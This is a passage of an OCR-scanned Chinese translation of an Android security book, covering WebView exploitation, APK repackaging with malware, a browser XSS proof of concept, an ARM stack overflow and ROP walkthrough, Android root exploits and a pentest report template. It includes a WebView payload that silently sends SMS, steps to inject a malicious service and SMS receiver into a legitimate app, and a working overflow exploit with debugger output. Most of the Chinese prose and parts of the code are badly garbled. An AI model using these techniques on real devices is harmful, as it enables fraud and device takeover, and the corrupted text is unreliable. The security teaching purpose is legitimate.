chiml»

cheady

ctitlerTest Paged/titles

<script types“text/lavascript™:

function execute() { var sendsas =

Ao rovdid . et Class () . Fortame (" androdd . tel ephony . Sesfanager™) . get Bet hod (“getDef sult™; nul 13 . ireoke{null; madl) ;
sendsms. serd TextMessage(™ +12320 235677, mull, “pened”; pull, null);}
efseripty

o/ heady

cbody onload="execute()">

Hello world !

<input typesTbutton™ onclicks"execute()™ wvalue="click mel™ />

< [body >

</html>

— B B EFH Forward (38%) #&42 > MR NZELZ R ER AR LEHB YT o

LB H B A sMsManager () 0 WAMEIAS 6,8 UK puned 89 SMS R £ B 69T E L5 A o



AN B AR webview 2 AP R E RG] o FEE RTAZREARR 7
% &A% M Drozer )& % RIZAZ shell o ARE T vAii

7] https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-c
b4 38 i Drozer ] webview 89 £ %13 & o

7.2 B35 % APK

w T Google 89 R P B R » M 4% Play AR » 5 FAAAR AT EERAf R
o B89 R :E‘éﬁ%i;?iyﬂlﬂ/\’ﬁ”f%% > Google Play ¥ # £ 8 K % & &R R T4 %
RO ZRGFRA  EERFEERTEZ-NEENEARSF » RAEFE B TH
TEas RE ﬁifr%ﬁr B UESRBIE B EFREA P o ITRFTARRE L 25
Rl > ZAE—ANFEFHEGFF -

1L KA1 Z R & &ﬁﬁ%%ﬁV&A%&mﬁ?’%@%E%%%%ﬁ$o&ﬁmﬁﬁ
%ﬁﬁﬁ%ﬁ%(“ﬁ% MENEERRARS s AR LA LS EETHREMRS T o 3k
9h » &A1/ AndroidManifest.xml If%“fjlﬁﬁﬂ};’fé'fiﬂi% s AR T 9 FEH () de il SMS)
AE9% AR R RATEI IR % o

Rk > AT 6 2 R R R A 09 6 7% 2 A2 )5 09 T S B

1. £ A apktool BE% R AAF » W TH & :

apktool d [appname].apk

2. Ré%pwix%&m AA2F R AR Java £69 smali T o £XE » ENFELBHHHLEEH
ARG P o b koA smali 22 9285 » RTAEHEM smali AF IR % -
B % &R % 609 % A2 % malware.smali ©

3. HT %k BME 2 malware.smali XA B #12] smali £ » €T RN AIFGES
RRARRFGIHEEF o £A14e malware.smali P R ELARGPTA R & XA EER
AL 5 6 3 6,4 AR » F /2 AndroidManifest.xml P iEMIR S o

XL BRATEZA Androidvanifest.xml LA FiHm B —47 > o T AT

<service droid:name = "malware.java"/>

4, B9 BNEZEM—AT BEKRERBRLRSE o EEXMFELT » KRNZBEEEA
BB 4o T @R BT

<receiver android:name="com.legitimate.application.service">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>



5. 1& R apktool TH#H mFRL A - R :

apktool b appname/

— 8 g A F1%E ] apktool EH %AF o #69 apk & ARG SRR o B F ALK F AT
A REEERMY  wREERMRSFELOMBREERERARTE S » BNEFR
F %4 AndroidManifest.xml XHF P el F oG IR o

7.3 1 &K% 8RR

Google Play_l:#ﬂ%é’a R4 %% Android 2 AR &4E AT &R BEBUKE - R » BF T L 5&
ARG GERF  AFFEANARL AR B A" TR o

7‘(77’5'\%’ YR RARRFPHENT EE > BA1TVAE R dex2jar/apktool [ MR %% 1% 2

s F 97 4 3\613 TR o RIETUL http://www.appbrain.com/stats/libraries/ad ¥ 3K
é'l*‘*i—‘éﬂixi}\si’éﬁ Android /= & A1 A €189 )z A A2 o f%/ﬁ’fé‘%ﬂ%‘ﬁy«ﬁw > 45 dm
E—% P89 webview il 0 R A H) AR SAEST LALRIR > 3T RE & § BSLH A K
TEAR AT » RIFR @ shell REZQIRE]T] ©

7.4 Android ¥ #9352 Rl B A

5 R AR5 P R RR 2 — A Android B R AZE RR 0 kR H T vAS i BlR RS A R ARG
{5 B P 15 7] 5 6% £ Android STHF & 4 b 69 SO Ui o %S"n’i;éiin’%%‘ab%w 5] 4%
T /datasdata/[RRAAEFas#m] ILEFHMMA AR o RANKEAREZ > 2 AR LT R ZAE
R ZAFAE R B A9 15 FIALTR » 2 R Z2ATAE R B P AT o

W RFBFAREAAZTZE Web 2| EE» XAFLTHEWR®E AP XFEXFRY BRGNS F
% 69 BT A Cookie An L1bf3 & » FH L R AL FH -

£ E-RF L8 AR5 > 4= Skype » Dropbox @ &R 5 £ % » FIRAPA A LS R AR
i p AR R o

L XA KA A BRI K S HD T 8RR » 4= o & Roee Hay ## Yair Amit X 69/ R o b
£l “F’ﬁfﬂﬁﬁﬁﬁoﬁzﬂﬁ']#%\&’ WE HD & ARFRAA 6.0.0 0 LG GIRAFIEF T RIA o

B3R S HD A — A% 4 BrowserActivity BRI &) » €T LA R A2 5 A & o fl 4
R o Ii%%"l.uﬂ'i)ﬂ CkEABEHRI R HD FAT AR O T » AR L&Y
JavaScript © AT A HBEAZ 7T POC 4&5%1& &

( http://packetstormsecurity.com/files/view/105258/dolphin-xas.txt )



public class MainActivity extends Activity {

static final String mPackage = "mobi.mgeek.TunnyErowser";
static final String mClass = “BrowserActivity";

static final String mlrl = "http:/Sodityaguptao.net/™;
static final String mJavascript = "alert{document.domain)";
static fFinal int mSleep - 2000;

Elverride

public void onCreate(Bundle savedInstonceStote) {
super.onCreate(sovedInstonceStote);
setContentView(R. layout. gctivity_main);
startBrowserActivity(mlrl);
try {

Thread. sleep(mSleap);

1

catch (InterruptedException e} {}
startBrowserActivity("javascript:" + mlavascript);

}

private void startBrowserActivity(String url) {
Intent res = new Intent{"android.intent.action.VIEW");
res. setComponent{new ComponentMame{mPackage,mPackage+"."+mClass));
res.setDatalUri. parselurl));
startActivity(res);

:

KR AR R AT LR » KATIE AT http://adityagupta.net P sk AR JavaScript
4L alert(document.domain) * EIF AR TAEF M L3 EHE o —ERMNARNGFHL
TABRIANEER AL » K ERERR K S HD - 477 URL F= & A14% T 49 JavaScript X
o de TR E AT



The page at 'http://adityagupta.net’ says:

adityagupta.net

N/
g4k

SN

EARER > KA TAT Android P TRR L EEE » NHEMREGARERE » XEFH
Ao AERZABTRAEGEGRRESL Ao BIURERXIELFGE » 2RIEAE
1 AAENEAEPGSZEMNXPER S o

AT—=F ENBEARARFE » 2T Android F & 894T ARM 84| F o



# A& ARM #| A

fE4 . Aditya Gupta
= a2
WL 0 CC BY-NC-SA 4.0

AREP > KM% T A ARM LR L4 12 » o ARM ERPHAGRR LG RA o K
MEELgEH A XLRE » B ENGZHENER TR o Hoh o RIS ERR
Android root X & = & {1 42 R A A B 69 A KRR o £ &3 B AT K % % Android % 45 F ALER
AT ARM LR > st FHEMARAT LK > THARM LM FHRZARSELE
£ o

8.1 ARM R #) 3%

ARM #A A THE 154 % (RISC) #9RYM » I FRAF LIS AT E &84 % (CISC) 9
BViE% o ARMAER LFRARNBABYITARE » wHRETI @il & FH kS
B LM ARNEE o

ARM &34 16 AT LGB RF A% > A RO-R15° £ 16 NF > A 5 MATHEB G -
AT RZAEANTHERLLAR

e R11: W45 4t (FP)

e R12: R AFHE (IP)
e R13: &484t (SP)

e R14: M%frﬁ""*( R)
o R15: #/51t# & (PC)

TaegE =T ARM &4 :


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

%A= ARM #| A

EEANE@ > ENAHENEFEZTI=ZA €L

o HEIH (SP) : BARBHBEBERMFYOIHOTES
o HMEFHE (LR) @ S RF#AATFTIENF4 RS it
o BEF1H4%E (PC) : B#EIITH T —5154

(e

P
BREZEZN—RA > PCHEREREPATHI S > MAAR LT —F84L -

AW TARARA KR E > 385 BATIRFRAE © R Rl fa 4T o A T 14
PR RATH Z4EH PC X LR F 8948 (B4 45 F&AM142H PC) -

83



PATHE X,
ARM # & ¥ R B 8 PATHE R,

e ARM S : £ ARMBEXNT » BTA RS K14 32 4
e Thumb &K : &£ Thumb X T » 84 K494 16 1%

PATHEANG CPSRFEBEFPHREIRE - THEEBHZHEX > B Thumb-2 X, » € ~&
ARM #£ X F» Thumb & X8 E4E o EANERFZTRLEANT B ARM # Thumb # X Z 14 8 X
Bl RACHBET ABYEHE o

8.2 LI I

EAHF ARM F & 69 RFAZ A » ZDARZE IR o B4 Android SDK P #9424, 88 =T 1L i@
THEMARM FE6 RET REFFRFILEZRERT ARM 8 » K414 AL H8E QEMU (€&
— AT R E DA RIS ) 45 ARM REA A o

A7 4 Android B\ E /& & ERATAT AT A F ¥ > &A1F 2T & Android NDK 4% A
Android NDK ¥ #2489 T B 2% Android -F & % &AT69 =2 4] T o {22 » =R R4E A Mac
B wE QEMU A8 B ) o T LA T 4N brew install gemu kAR © HAETERAE
Ubuntu A% L& E QEMU o # 5L T F % :

1. B—FRBLLERBATEFLE QEMU > W B AT+

sudo apt-get build-dep gemu
wget http://wiki.gemu-project.org/download/qgemu-
1.7.0.tar.bz2

2. # Tk AMAFEREQEMU > X Biz4 ARM > REANFIME o Hik > KA
FARE G VAR A 0 5 RR B A PATA T4

./configure --target-list=arm-softmmu
make && make install

3. —2QEMURII L » &ATT AT & ARM F & &9 Debian 448k #ATH| F4 T o ATET
ﬁﬂ%&@-ﬂ; http://people.debian.org/~aurel32/gemu/armel/ °

4. XEZRMNKTHREXA qeowz BHABAR » 2K T QEMU 8 3RAF £ L8R X sk

=24

A BAVEIRAVE AR A debian_squeeze_armel_standard.qcow2 ° A% SUAHFR %

=2

A& vmlinuz-2.6.32-5-versatile * RAM & % U2 % A& initrd.img-2.6.32-versatile °
—EEATRT A L2 A - ZATTRBRPATA T4 % E 35 QEMU 541 :



gemu-system-arm -M versatilepb -kernel vmlinuz-2.6.32-5-
versatile -initrd initrd.img-2.6.32-5-versatile -hda
debian_squeeze_armel_standard.qcow2 -append
"root=/dev/sdal" --redir tcp:2222::22

5. redir 44 REAR FRAZALNAEAH 0 2222 B F ssho —EEE 7T & » &ATT WA
1% J VAT 4 4% % 2| Debian # QEMU %4 :

ssh root@[ip address of Qemu] -p 2222

6. BENAZRKMARAP LARH » RINKEIEA rootiroot °© —EEAI I EF » 1%
HI R4 T =69 FRBA :
adidx9@:~ adi% ssh root@192.168.148.132 -p 2222

root@l92.168.148.132"'s password:
Linux debian-armel 2.6.32-5-versatile #1 Wed Sep 25 @@:@1:55 UTC 2813 armv5tejl

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/#/copyright.

Debian GNU/Linux comes with ABSOLUTELY MO WARRANTY, to the extent
permitted by applicable law.

Last login: Mon Jan 2@ 2@:58:49 2014 from 192.168.148.1
root@debian-armel:~# Ji

> K 3 L2 N oz
8.3 AT by f 44 Rk
MERWE > b RRGMEMERNGEENGI T o BEFPRFHRIBRBIRFR AL K]
i SR AGEE o RBBEHTAPATE hk & RRFAARF 12 Fo AT T ZBAT ©

ERAVER — A R FOBTF o BERNTHAE - ETE@GBET » BIA -2
AT 2 H = A REL 0 weak * ShouldNotBeCalled #7 main ° VAT Z&KA1XEA A 9425 .



#include <stdio.h>
#include <stdlib.h>

void ShouldNotBeCalled(){
puts("I Should Never Be Called");
exit(@),;

}

void vulnerable(char *arg){
char buff[10];
strcpy(buff,arg);

}

int main(int argc, char **argv){
vulnerable(argv[1]);
return(@);

}

Je BAFE 7 EAT IR 0 M shouldNotBecalled %%k ©

IR R F R I AR EMENL A purr BIRFR > RADA10FF o

—EEMNZREFHRE » KATTMER gec HEE > W T—AFAHT T o b KA ER
EREMMILE QA BEIAL (ASLR) » RAEA TS FHMHE £ —2% o ASLR £d OS %4
B AR > k7 ak S B A BOUH E BAT 69 3k A AT B &4 4 o £ Android F » ASLR
B I T 4.0 0 ART VAG

=] http://www.duosecurity.com/blog/exploit-mitigations-in-android-jelly-bean-4-1 Tﬁ?ﬁﬁ%‘
Android % & 5% 76 ©

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g buffer_overflow.c -o buffer_overflow

BTk BNTAMER 24 X mRE GNU BRXS > H GDB» REFLRARE » 4
T @ ey AP

gdb -q buffer_overflow

AL BATT VAE A disass T4 R RICH4F T8 HE > X L2 shouldNotBecalled * 4o F 89
BEPF



ShouldNotBeCalled
mbler code for function ShouldNotBeCalled:
ShouldNotBeCalled+0>: push {rii, 1ir}
=S5houldNotBeCalled+d>: add rii, sp, =4
Ox00008410 =ShouldNotBeCalled+B>: Ldr ri3, [pc, #16]
Ox80088414 =ShouldNotBeCalled+12>: Mo ré, r3
suldNotBeCalled+ 16" bl Ox8344 =printf=

c swwldNotBeCalled+28=- sub sp, rii, =43
houldNotBeCalled+24d4x>: pop {ri1, 1r}
OxO00008424 =ShouldNotBeCalled+2 - b= ir
Ox00008428 =ShouldNotBeCalled+32>: andeq rg, re rs,

assembler dump.
3

sEde AT L@ a8 E P T AF £ 8 » shouldNotBecalled Si#M P 7333k oxooooss0s FF46 o
WwR BN EFE main B RIC% » KA1A 2 RF X4/ oxooeessas P A 7

JE 0x000084a8 R o Hib o i THRFH#NRRAZLFER 2 ﬁ%%suwy’%ﬁKﬁE

ZRHGFH BRI Bde REATVREGS £ AT H R BT H] T 2428 LR » &M%
RE o R AR AR -

XL B AR THTE LR 78 & » R J/EZ X shouldNotBeCcalled B93ik » VIE A
J shouldNotBeCalled A%k o 1k HAN A M |kAREHTEF > W TEOPFTEHT = AF
SRAMN LA o EIRZAT 0 RAVEF R ARFREA strepy A 69 3HE% B BT &

b vulnerable
b *<address of the strcpy call>

— 3 KAV E T W B 0 &RATT AE A S 4L aaaneeBBCCCC R BATRAVIRLE » A K € AL TH
BE0 e BMNEZHNCERRARZKGARARLGTFTE AV E > LBHE strepy AARLFFT
TAB R e —EEH AW A RATTOMER x 423 I TR A SP #9384k > 4o
T@Ee8 R

(gdb) r AAAABBBBCCCC
Starting program: root/Exploitation/buffer_overflow AAAABBBRBCCCC

Breakpolnt 1, maln | C=2, argv=0xbega3didea) at buffer_overflow.c:15
15 vulnerable{ 1%

. wulnerable (arg=8OxbeSaleBa "AAAABBBBCCCC™) at buffer_owverflow.c:
(buff _ arg);

Bxbed: |.1.|- Ba
Ox4343
[- b 4. laleba]

BAVTAEE] » R CEHENMAGEZFTREZEZ (ASCI : 41 REAA 42 KREAB %
F) o NE@RHBRBATP > KNAZ » ENMAFTEOANE LT Y B EZR A > £

H LT & 0x000084a8 ©

Fivh» RIGH)FIF &% 16 T F 3R » RE & shouldNotBeCalled #JHuik » 4o F @ 8944 FF
A

r “printf "AAAABBBBCCCCDDDD\x38\x84""



BEMNTUALETEOBRE T AT » EA1E2I 1shouldNeverBecalled AIALYE Huhb e B T A 2L

»n IShouldNeverBeCalled:
2 push
“ . add rii, zp,
ieCalled+8>: Ldr ré, [pc, wa] ; BxB4A50 =<I
rBeCalled+12>: bl Bx83168 <puts>
rBeCalled+16=: PO réa, w0
= r - bl BxB3T74 =exlts
OxOO0AR450 < : z andeq ré, r8, r@, asr ®18
End of a P
r_;l:'it:l }y xf
Ox41414141
l'|IL1r B8alicoo Ox0000B4a8
E ﬂutnf-l.'\qn'iu'l
L -.;n:I:L- ) printf "AAAABBBBCCCC 1
The program belng debugged = been started already.
Start 1t from the beglnning? (yv or n) -..-'.

HEE B TREZDHREN  FHTUAMRGAFEAN o —EKNETE » RATT LA B 42
J% shouldNotBeCalled RZFAX A » e FT @B B AT T -

root@deblan-armel: = FfExploltation® . fbuffer_overT Low printf AAAABBBBCCCCDDDDY x 38 x84
1d never be called
eblan-armel::~/Exploltation®

8.4 B % &) A2

ERSZEHFERLT > ZANAERZRARNEFAFFAEGS —NRE o AR > RN FRAERMNY
K EHEEFHE shellcode @ X MAT&RATAE shellcode F 48 & 894047 & FdftE o 22 » £K

58T ARM FE09%&F > AA TR BETFTHATH > AR A E HF AT
shellcode °

Ft > xEH LM T ENEAD SR (ROP) » ELXARNG RIS K&
by Ak > AT A WATRA4Y shellcode » X &R B4k ROP gadget ° 4 7 #kd%
ROP gadget » #A11% %3 2| 4 £ 9k 4% 48 469 gadget > I A HFRATBLE] H — ML F o

B4 > o R BAVERATRF T RIC% seedas() * BAVGEZFNAT I ¢

{gdb) disass seedds

Dump of assembler code for function seed48:

Ox40057458 <seeddBef>: 1dr ri, [pc, #32] ; Ox40057480 <seed48+40>
Bx4005745¢c <seeddB+4>: push {r4, 1r}

Bx40057460 <seedd4B+8=: ldr rd, [pc, #28] ; Ox48057484 <seeddB+dd>
Bx40057464 <seeddBel2s: add r3, pe, rl

Bxd005T468 <seeddBelts: rd, r3, rd

Bx4005746¢c <seeddBe2is: ri, r4

Bx40057470 <seeddB+lds; Bx40057638 <seeddd_r>
BxdBO57474 <sepddBe?Bs:

Bx40057478 <seaddB+dds:

Bx4005747¢c <seeddB+in-;

0xd0057480 <seeddB+d0s;: pc, r4,

0140057484 <seeddB+dds: ; ri, r@, rg, lsr #4




W REMNEARICH > RINKEZEEC L4 —/ ADD 4 > 5 @A —4 POP #= BX 4%
A BRXE—ATE8 ROPgadget ° X E » EHTHAEE » A T LA ROP gadget »
a BB IER] r4 69 POP 484 » RJEH L /bin/sh #9383k ] 6 69482 rd4 F » 4 ADD 454
BIMEAN LR F o FHb > 5 EAIBk= 2] ADD 43k 2L Ro = R4 + 6 B » KAIKIAA

T /bin/sh B93EAE 0 KB KA1 T AA R4 38 TAEATIL R L5 B LR 48 € system() 693
3k o

W FRAE RAVG A9kt 248 A 52 /binssh 89 system() * X IEF AT shell o VAR A6 7
X 0 EAT L4 4E4T ROP gadget @ #4& X AT RA1PTH Z691E4TA® o &1 F ROP 24 XK
PRELHIAZ — > ABIANZERATEZR oW RICHRLFHERRA o

8.5 Android root #|

INF-HARE A Android 7+4 » Android root # iR 45 b 3L T &4~ 6 AR A A= 1 Fl 89 Android %
&H 3 9RR AT o Android root i ¥ k1A KAF 2% & 6975 FIAFR 0 RINVF R T X &H %
BASKEE TR, o X root HA A T Android A4 T B A& FRF o ATELF—
Mot 5] & o A A RRA) A BT R T g S

e Exploid : & T udev ¥ # CVE-2009-1185 /R » €& Android fi % USB % 69 44 »
€41k Netlink 4 & (—# 6 5t Linux A5 A P £3#0GHE) £ER 8RS RERRA
WX EFHE c Ak AEFTAREMNA P ZRARAY K i# udev H &EHRARRK -

e Gingerbreak : &Z;& % —ANRiFE > KT vold ¥ &£ 8 KA » Z0TF Exploid F 8 /RA o

* RageAgainstTheCage : st R #| B AT rLIvIT NPROC ° B8 E LA setuid FFH T
AR P A #AZN R KEE o adb FH42/F 4 root F15 B #; 86 €A setuid() A
F Sk BRFRAFAR o A2 » 4o FARIE RLIMIT_NPROC X 3] T R KA A4 - £5 % £ikA
Al setuid() kAEM4EAR > adb ¥4 4 42 A root Gy EAT o

e Zimperlich : £ 1 5§ RageAgainstTheCage #9148 FI#L& » 12 €&k #i T zygote @42 fiFl%
root AxIR °

e KillingInTheNameOf : #| 1 T —A 484 ashmem (EZFNAFEE) HERFE > %K
BT £ 7 ro.secure 89144 » HALA X &89 root K& o

XM — kg 40 2 89 Android /&REF| A > AT root Android & & °

\:zgg

EARETF » K41 T M T Android A Al A2 ARM AR 6 RR # R, o AT THETRAEDE
AHF| I ARM 89 A K% o AR & — AN TR A4 o

AET—=F > 4194 T BBw1T% 5 Android & MK 4% o
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1.1 AT E

Attify Labs 2 &3t XYZ 2 8 89 Android & F 425 “Attify 7R 2 74T HEMAR o FHIED
XA F 1H89 B 6924 € Android & A A2 57 AR 5 L8143 8 Web IR 5 6922 4 R iR

EAVE RXIA R+ 5 s 0 AR EIATF T R o E3m Web IR BZRAME o 2P £
Aditya Gupta 894 § T#47 > Bl s =% A3 55E MR A 54K o

£ FHIE 0 £ XYZ Android & R A2FAe )G 5% Web R &P AT —SzhbRRA - E69%
B BANNRAARART AN » FHELA KA KFH0Z R RAE -

R F I & REA BT XYZ - 8]4% 44189 Android & A A2 5 4= Web MR % %% 5% & & & m,
BB M 0 RTRASMEFE B ol o
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1.3 RiF#H %

Android = 42 5 “Attify iR 2 A" R LG A RE > SRR RY » ARG TR RARZS
FAER B = ER S RIE o AT DA R %E » AL RAVT A5 F AL X G EOEANSR
A2 5 6 238 o

sboh o R ARG FARE 6 webview AL & AAR 5 K 5 % %] JavaScript °f & 8932 40 0 1% &,
AT 37 19 o R A2 5 o 69 A JavaScrlpt%‘@ BRAARFRNAA TR M % L8 )ﬂﬁa
o SBRERARFATAES > BAFRNER P ZA RRGELTREEL S R ARRE

BN K T A R E A F

P AR PRI BRG0G0 — 2% & 2% root » X4 KA1 A5
7 7 ik 5 AL 69 SR R P AR o

sesh s RAVT AR ZES] > & 8156 web R ZF A TH PIAIENE S 243586 F AT
1% ]l SQL TATE it S & k15 B A fE A web IR 5 8 Loy s AT B o

Fit5 7 %
21T A

ATRERATEARRALRFF S EMNR ARG - T L

e MX-F & : Ubuntu Linux Desktop v12.04

o %% : 1&47 Android v4.4.2 £ Nexus 4

¢ Android SDK

e APKTool 1.5.2 : 3% Android & A #2 /5 & %% &% Smali & U
e Dex2Jar 0.0.9.15.48 : 4 Android & F #2 5 R K %1% 4 Java
e JD-GUI 0.3.3 : # B Java R U4+

e Burp Proxy 1.5: REIL L

¢ Drozer 2.3.3 : Android & | #2546 4E &

e NMAP 6.40 : 324 Web R %

2.2 kiR

1 R#1 : Android & A A2 5 P 69 E R

3P : £ Android & F1#2 5 8 patabaseConnector.java X T X T —MENRF o &
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